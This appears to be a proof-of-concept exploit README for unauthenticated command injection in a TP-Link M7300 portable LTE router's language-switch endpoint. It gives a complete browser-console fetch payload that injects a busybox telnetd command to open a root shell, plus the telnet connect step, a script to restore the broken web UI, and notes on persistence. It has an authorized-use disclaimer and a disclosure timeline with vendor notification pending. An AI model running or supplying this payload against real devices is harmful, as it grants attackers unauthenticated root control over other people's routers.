Unauthenticated command injection via the language-switch endpoint on the TP-Link M7300 (UN) v2.0 portable LTE router (firmware 1.0.5 Build 151210 Rel.1019n).
POST /cgi-bin/web_cgi
Content-Type: application/json
The language parameter in the webServer / SET_LANGUAGE action is passed to a shell context without sanitization.
Paste in the browser console while connected to the device's admin panel (default http://192.168.0.1):
fetch("/cgi-bin/web_cgi", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
module: "webServer",
action: 1,
language: "$(busybox telnetd -l /bin/sh)"
})
})
.then(r => r.json())
.then(d => console.log("Result:", d))
.catch(e => console.error("Error:", e));On success, a telnet daemon starts on the default port (23). Connect with:
telnet 192.168.0.1This gives an unauthenticated root shell.
The exploit corrupts the language setting (it becomes the shell command string), which breaks the web interface — pages fail to load translations and render blank or broken.
To restore it, paste fix.js in the browser console:
fetch("/cgi-bin/web_cgi", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
module: "webServer",
action: 1,
language: "en"
})
})
.then(r => r.json())
.then(d => {
if (d.result === 0) {
console.log("Language restored to English. Reloading...");
location.reload();
} else {
console.warn("Failed:", d);
}
})
.catch(e => console.error("Error:", e));Note: The telnet daemon stays running even after fixing the language — this only restores the web UI.
- Pre-auth: The language-switch action is available on the login page — no authentication token is required.
- Root shell:
busybox telnetdruns as root, granting full device access. - Persistence: The telnet daemon survives until reboot.
| Model | Hardware | Firmware | Status |
|---|---|---|---|
| M7300 (UN) | v2.0 | 1.0.5 Build 151210 Rel.1019n | Vulnerable |
| Date | Event |
|---|---|
| 2024-XX-XX | Vulnerability discovered |
| — | Vendor notification (pending) |
This proof of concept is provided for authorized security research and educational purposes only. Use it only on devices you own or have explicit permission to test. Unauthorized access to computer systems is illegal.
This project is licensed under the MIT License — see LICENSE for details.
